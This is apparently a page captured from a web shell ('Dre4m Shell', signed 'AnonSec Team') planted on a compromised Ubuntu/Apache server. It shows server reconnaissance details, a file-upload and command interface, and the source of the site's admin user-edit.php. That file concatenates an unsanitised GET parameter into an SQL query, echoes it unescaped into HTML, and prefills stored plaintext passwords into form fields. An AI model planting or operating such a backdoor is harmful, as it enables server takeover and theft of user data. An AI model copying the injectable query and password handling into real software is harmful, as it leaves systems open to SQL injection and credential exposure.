Dre4m Shell
Server IP : 127.0.0.2  /  Your IP : 13.59.233.20
Web Server : Apache/2.4.18 (Ubuntu)
System :
User : www-data ( )
PHP Version : 7.0.33-0ubuntu0.16.04.16
Disable Function : disk_free_space,disk_total_space,diskfreespace,dl,exec,fpaththru,getmyuid,getmypid,highlight_file,ignore_user_abord,leak,listen,link,opcache_get_configuration,opcache_get_status,passthru,pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,php_uname,phpinfo,posix_ctermid,posix_getcwd,posix_getegid,posix_geteuid,posix_getgid,posix_getgrgid,posix_getgrnam,posix_getgroups,posix_getlogin,posix_getpgid,posix_getpgrp,posix_getpid,posix,_getppid,posix_getpwnam,posix_getpwuid,posix_getrlimit,posix_getsid,posix_getuid,posix_isatty,posix_kill,posix_mkfifo,posix_setegid,posix_seteuid,posix_setgid,posix_setpgid,posix_setsid,posix_setuid,posix_times,posix_ttyname,posix_uname,pclose,popen,proc_open,proc_close,proc_get_status,proc_nice,proc_terminate,shell_exec,source,show_source,system,virtual
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /var/www/html/admin/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME SHELL ]     

Current File : /var/www/html/admin/user-edit.php
<?php
ob_start();
session_start();
require_once('session-check.php');
require_once('include/db-config.php');
$msg="";
?>

<?php 
$id=$_GET['id'];
$query=mysqli_fetch_array(mysqli_query($conn,"select ID,UserName,UserID,UserType,Password,Status,CreatedDate,EditedDate,
		 c_home_page,c_landing_page,s_list,e_list,s_new_spons,e_new_email_message,c_shop,s_sess_list,e_monthly,
		 c_seo,s_new_sess,e_email,e_new_email,i_list,f_list,i_export,f_new_file,r_seminar,p_list,a_list,
		 u_list,p_new,a_new,u_new,p_shipping,a_category,p_prdct_qty,a_relation,p_coupon,p_liscence,o_change,p_meeting,o_view
		 from maintrainer_useraccounts where ID=".$id));
		
?>
<!DOCTYPE html> <HTML>
<HEAD>
<TITLE>Joel Levitt, maintenance management, maintenance management consulting, tpms</TITLE>
<META HTTP-EQUIV="Content-Type" CONTENT="text/html; charset=iso-8859-1">
<link href="css/style.css" type="text/css" rel="stylesheet">
<script type="text/javascript">
	function validateform () {
		if(document.getElementById("name").value=="")
		{
			alert("Please Enter the Name");
			return false;
		}
		
		if(document.getElementById("login").value=="")
		{
			alert("Please Enter the Login ID");
			return false;
		}
		
		if(document.getElementById("pwd").value=="")
		{
			alert("Please Enter the Password");
			return false;
		}
		if(document.getElementById("cpwd").value=="")
		{
			alert("Please Enter Confirm Password");
			return false;
		}
	
		if(document.getElementById("status").value=="")
		{
			alert("Please Choose the Status");
			return false;
		}
		
		if(document.getElementById("cpwd").value!=document.getElementById("pwd").value)
		{
			
			alert("Password and Confirm Password Should be Match");
			return false;
		}

		return true;
	  
	}
</script>
</HEAD>
<BODY BGCOLOR=#FFFFFF LEFTMARGIN=0 TOPMARGIN=0 MARGINWIDTH=0 MARGINHEIGHT=0>
<!-- ImageReady Slices (maintrainer_slice2.jpg) -->
<TABLE WIDTH="100%" BORDER=0 CELLPADDING=0 CELLSPACING=0 align="center">
	<?php include_once('include/include_header.php'); ?>
	<TR>
		<TD width="100%" align="center">
			<table border="0" cellpadding="0" cellspacing="0"  width="1100" align="center" class="body_bg" style="min-height:700px; border-color:">
				<tr><td colspan="3" style="height:9px;"></td></tr>
                <tr>
                	<td style="width:9px;"></td>
                	<td class="content_bg" valign="top">
                    	<table border="0" cellpadding="0" cellspacing="0" width="95%" align="center">
							<tr>
								<td style="height:40px;">
								</td>
							</tr>
							<tr>
								<td>
									<form action="user-edit-action.php" method="post"  id="user-new" name="user-new" onSubmit="return validateform();">                        
                                    <input type="hidden" name="id" value="<?php echo $id; ?>" />
                                    <?php 
									 if(isset($_GET['r']))
									 {			   
										 // if($_GET['r'] == '2')
										 // {	
											// $msg= "<font class='error-text'><b>Successfully Inserted a New User.</b></font>";
										 // }	
										 // else 
										 if($_GET['r'] == '1')
										 {
											$msg= "<font class='error-text'><b>User/Login ID already exist.</b></font>";
											 
										 }
										 
									 }
											
									
									?>
									
									<?php if(@$_GET['r'] == '2'){ ?>
									<div style="margin-bottom: 20px;"><?php echo $msg;  ?></div>
									<?php }?>
                                    	<table border="0" cellpadding="0" cellspacing="0" class="normal_text">
										<tr><td class="mainhead" valign="top" colspan="2">EDIT USER</td></tr>
										<tr><td style="height:10px;"></td></tr>
										<tr>
											<td class="textnormal" style="padding-left:20px; padding-right:10px;" valign="top" width="100">User Full Name</td>
											<td>  <input style="width: 200px;" type="text" id="name" name="name" value="<?php echo @$query['UserName']; ?>">  </td>
											
										</tr>
										<tr><td style="height:10px;"></td></tr>
										<tr>
											<td class="textnormal" style="padding-left:20px; padding-right:10px;" valign="top" width="100">User/Login ID</td>
											<td>  <input style="width: 200px;" type="text" id="login" name="login" value="<?php echo @$query['UserID']; ?>">  </td>
											<td style="padding-left: 5px;"><?php if(@$_GET['r'] == '1'){echo $msg;}?></td>
										</tr>
										<tr><td style="height:10px;"></td></tr>
										<tr>
											<td class="textnormal" style="padding-left:20px; padding-right:10px;" valign="top" width="100">Password</td>
											<td>  <input style="width: 200px;" type="password" id="pwd" name="pwd" value="<?php echo @$query['Password']; ?>">  </td>
										</tr>
										<tr><td style="height:10px;"></td></tr>
										<tr>
											<td class="textnormal" style="padding-left:20px; padding-right:10px;" valign="top" width="150">Confirm Password</td>
											<td>  <input style="width: 200px;" type="password"  id="cpwd" name="cpwd" value="<?php echo @$query['Password']; ?>">  </td>
										</tr>
										<tr><td style="height:10px;"></td></tr>
										<tr>
											<td class="textnormal" style="padding-left:20px; padding-right:10px;" valign="top" width="100">Status</td>
											<td><select  id="status" name="status" >
												<option <?php if(@$query['Status']==1){ ?> selected="selected" <?php }?> value="1" >Active</option>
												<option <?php if(@$query['Status']==0){ ?> selected="selected" <?php }?> value="0">Inactive</option>
											</select>  </td>
										</tr> 
										<tr><td style="height:10px;"></td></tr>
										<tr>
											<td class="textnormal" style="padding-left:20px; padding-right:10px;" valign="top" width="100">Select Access</td>
											<td>Content Mgt.</td>
											<td style="padding-left: 30px;">Sponsor Mgt.</td>
											<td style="padding-left: 60px;">Email</td>
										</tr>
										<tr><td style="height:8px;"></td></tr>
												<tr>
													<td ></td>
													<td style="padding-left: 30px;"> <input <?php if(@$query['c_home_page']==1){ ?> checked="checked" <?php }?> value="1" name="c_home" type="checkbox" /> Home Page Mgt.</td>
													<td style="padding-left: 60px;"> <input <?php if(@$query['s_list']==1){ ?> checked="checked" <?php }?> value="1" name="s_list" type="checkbox" /> Sponsor List</td>
													<td style="padding-left: 90px;"> <input <?php if(@$query['e_list']==1){ ?> checked="checked" <?php }?> value="1" name="e_list" type="checkbox" /> Email List</td>
												</tr>
												<tr><td style="height:5px;"></td></tr>
												<tr>
													<td ></td>
													<td style="padding-left: 30px;"> <input <?php if(@$query['c_landing_page']==1){ ?> checked="checked" <?php }?> value="1" name="c_land" type="checkbox" /> Landing Page Mgt.</td>
													<td style="padding-left: 60px;"> <input <?php if(@$query['s_new_spons']==1){ ?> checked="checked" <?php }?> value="1" name="s_new_spons" type="checkbox" /> Add New Sponsor</td>
													<td style="padding-left: 90px;"> <input <?php if(@$query['e_new_email']==1){ ?> checked="checked" <?php }?> value="1" name="e_new_email" type="checkbox" /> Add New Email</td>
												</tr>
												<tr><td style="height:5px;"></td></tr>
												<tr>
													<td ></td>
													<td style="padding-left: 30px;"> <input <?php if(@$query['c_shop']==1){ ?> checked="checked" <?php }?> value="1" name="c_shop" type="checkbox" /> Shop Page</td>
													<td style="padding-left: 60px;"> <input <?php if(@$query['s_sess_list']==1){ ?> checked="checked" <?php }?> value="1" name="s_sess_list" type="checkbox" /> Session List</td>
													<td style="padding-left: 90px;"> <input <?php if(@$query['e_monthly']==1){ ?> checked="checked" <?php }?> value="1" name="e_monthly" type="checkbox" /> Monthly Report</td>
												</tr>
												<tr><td style="height:5px;"></td></tr>
												<tr>
													<td ></td>
													<td style="padding-left: 30px;"> <input <?php if(@$query['c_seo']==1){ ?> checked="checked" <?php }?> value="1" name="c_seo" type="checkbox" /> SEO</td>
													<td style="padding-left: 60px;"> <input <?php if(@$query['s_new_sess']==1){ ?> checked="checked" <?php }?> value="1" name="s_new_sess" type="checkbox" /> Add New Session</td>
													<td style="padding-left: 90px;"> <input <?php if(@$query['e_email']==1){ ?> checked="checked" <?php }?> value="1" name="e_email" type="checkbox" /> Email Message</td>
												</tr> 
												<!--<tr><td style="height:5px;"></td></tr>
												 <tr>
													<td ></td>
													<td style="padding-left: 30px;"></td>
													<td style="padding-left: 60px;"></td>
													<td style="padding-left: 90px;"> <input type="checkbox" /> Email List</td>
												</tr>  -->
										<tr><td style="height:5px;"></td></tr>
										<tr>
											<td ></td>
											<td>Invoice Mgt.</td>
											<td style="padding-left: 30px;">File Mgt.</td>
											<td style="padding-left: 90px;"> <input <?php if(@$query['e_new_email_message']==1){ ?> checked="checked" <?php }?> value="1" name="e_new_email_message" type="checkbox" /> Add New Email Message</td>
										</tr>
										<tr><td style="height:8px;"></td></tr>
												<tr>
													<td ></td>
													<td style="padding-left: 30px;"> <input <?php if(@$query['i_list']==1){ ?> checked="checked" <?php }?> value="1" name="i_list" type="checkbox" /> Invoice List</td>
													<td style="padding-left: 60px;"> <input <?php if(@$query['f_list']==1){ ?> checked="checked" <?php }?> value="1" name="f_list" type="checkbox" /> File List</td>
													<td style="padding-left: 60px;">Report</td>
													
												</tr>
												<tr><td style="height:5px;"></td></tr>
												<tr>
													<td ></td>
													<td style="padding-left: 30px;"> <input <?php if(@$query['i_export']==1){ ?> checked="checked" <?php }?> value="1" name="i_export" type="checkbox" /> Export to Excel</td>
													<td style="padding-left: 60px;"> <input <?php if(@$query['f_new_file']==1){ ?> checked="checked" <?php }?> value="1" name="f_new_file" type="checkbox" /> Add New File</td>
													<td style="padding-left: 90px;"> <input <?php if(@$query['r_seminar']==1){ ?> checked="checked" <?php }?> value="1" name="r_seminar" type="checkbox" /> Seminar Visit</td>
												</tr>
												<tr><td style="height:5px;"></td></tr>
										
										<tr>
											<td ></td>
											<td>Product Mgt.</td>
											<td style="padding-left: 30px;">Article Mgt.</td>
											<td style="padding-left: 60px;">User Mgt.</td>
										</tr>
												<tr><td style="height:8px;"></td></tr>
														<tr>
															<td ></td>
															<td style="padding-left: 30px;"> <input <?php if(@$query['p_list']==1){ ?> checked="checked" <?php }?> value="1" name="p_list" type="checkbox" /> Product List</td>
															<td style="padding-left: 60px;"> <input <?php if(@$query['a_list']==1){ ?> checked="checked" <?php }?> value="1" name="a_list" type="checkbox" /> Article List</td>
															<td style="padding-left: 90px;"> <input <?php if(@$query['u_list']==1){ ?> checked="checked" <?php }?> value="1" name="u_list" type="checkbox" /> User List</td>
														</tr>
														<tr><td style="height:5px;"></td></tr>
														<tr>
															<td ></td>
															<td style="padding-left: 30px;"> <input <?php if(@$query['p_new']==1){ ?> checked="checked" <?php }?> value="1" name="p_new" type="checkbox" /> Add New Product</td>
															<td style="padding-left: 60px;"> <input <?php if(@$query['a_new']==1){ ?> checked="checked" <?php }?> value="1" name="a_new" type="checkbox" /> Add New Article</td>
															<td style="padding-left: 90px;"> <input <?php if(@$query['u_new']==1){ ?> checked="checked" <?php }?> value="1" name="u_new" type="checkbox" /> Add New User</td>
														</tr>
														<tr><td style="height:5px;"></td></tr>
														<tr>
															<td ></td>
															<td style="padding-left: 30px;"> <input <?php if(@$query['p_shipping']==1){ ?> checked="checked" <?php }?> value="1" name="p_shipping" type="checkbox" /> Shipping Mgt.</td>
															<td style="padding-left: 60px;"> <input <?php if(@$query['a_category']==1){ ?> checked="checked" <?php }?> value="1" name="a_category" type="checkbox" /> Article Category</td>
														</tr>
														<tr><td style="height:5px;"></td></tr>
														<tr>
															<td ></td>
															<td style="padding-left: 30px;"> <input <?php if(@$query['p_prdct_qty']==1){ ?> checked="checked" <?php }?> value="1" name="p_prdct_qty" type="checkbox" /> Product Qty. Mgt.</td>
															<td style="padding-left: 60px;"> <input <?php if(@$query['a_relation']==1){ ?> checked="checked" <?php }?> value="1" name="a_relation" type="checkbox" /> Article Relation</td>
														</tr>
														<tr><td style="height:5px;"></td></tr>
														<tr>
															<td ></td>
															<td style="padding-left: 30px;"> <input <?php if(@$query['p_coupon']==1){ ?> checked="checked" <?php }?> value="1" name="p_coupon" type="checkbox" /> Coupon Mgt.</td>
															<td style="padding-left: 30px;">Other</td>
														</tr>
														<tr><td style="height:5px;"></td></tr>
														<tr>
															<td ></td>
															<td style="padding-left: 30px;"> <input <?php if(@$query['p_liscence']==1){ ?> checked="checked" <?php }?> value="1" name="p_liscence" type="checkbox" /> License Mgt.</td>
															<td style="padding-left: 60px;"> <input <?php if(@$query['o_change']==1){ ?> checked="checked" <?php }?> value="1" name="o_change" type="checkbox" /> Change Admin Password</td>
														</tr>
														<tr><td style="height:5px;"></td></tr>
														<tr>
															<td ></td>
															<td style="padding-left: 30px;"> <input <?php if(@$query['p_meeting']==1){ ?> checked="checked" <?php }?> value="1" name="p_meeting" type="checkbox" /> Meeting Defender</td>
															<td style="padding-left: 60px;"> <input <?php if(@$query['o_view']==1){ ?> checked="checked" <?php }?> value="1" name="o_view" type="checkbox" /> View Hrs. Worked</td>
														</tr>
														<tr><td style="height:5px;"></td></tr>
												
												<tr>
										<tr><td style="height:5px;"></td></tr>
										<!-- <tr>
											<td ></td>
											<td> <input type="checkbox" /> Sponsor Mgt.</td>
										</tr>
										<tr><td style="height:5px;"></td></tr>
										<tr>
											<td ></td>
											<td> <input type="checkbox" />  File Mgt.</td>
										</tr>
										<tr><td style="height:5px;"></td></tr>
										<tr>
											<td ></td>
											<td> <input type="checkbox" /> Article Mgt.</td>
										</tr>
										<tr><td style="height:5px;"></td></tr>
										<tr>
											<td ></td>
											<td> <input type="checkbox" /> Email</td>
										</tr>
										<tr><td style="height:5px;"></td></tr>
										<tr>
											<td ></td>
											<td> <input type="checkbox" /> Report</td>
										</tr>
										<tr><td style="height:5px;"></td></tr>
										<tr>
											<td ></td>
											<td> <input type="checkbox" /> Other</td>
										</tr> -->
                                      										
                                    	<tr><td style="height:10px;"></td></tr>
                                        
                                        <tr><td style="height:20px;"></td></tr>
										<tr>
											<td class="textnormal">&nbsp;</td>
                                            
											<td><input type="submit" id="save" name="save" value="Submit" class="bttn">
											&nbsp;<input type="button" id="back" name="back" value="Cancel" class="bttn2" onClick="javascript:history.back();">
											</td>
										</tr>
                                        <tr><td><br><br></td></tr>
                                     
                                     </table>
                                        
									</form>
								</td>
							</tr>
						</table>
                    </td>
                    <td style="width:9px;"></td>
				</tr>	
                <tr><td colspan="3" style="height:9px;"></td></tr>
			</table>
		</TD>
	</TR>
    <?php include_once('include/include_footer.php'); ?>
</TABLE>
<!-- End ImageReady Slices -->
</BODY>
</HTML>

Anon7 - 2022
AnonSec Team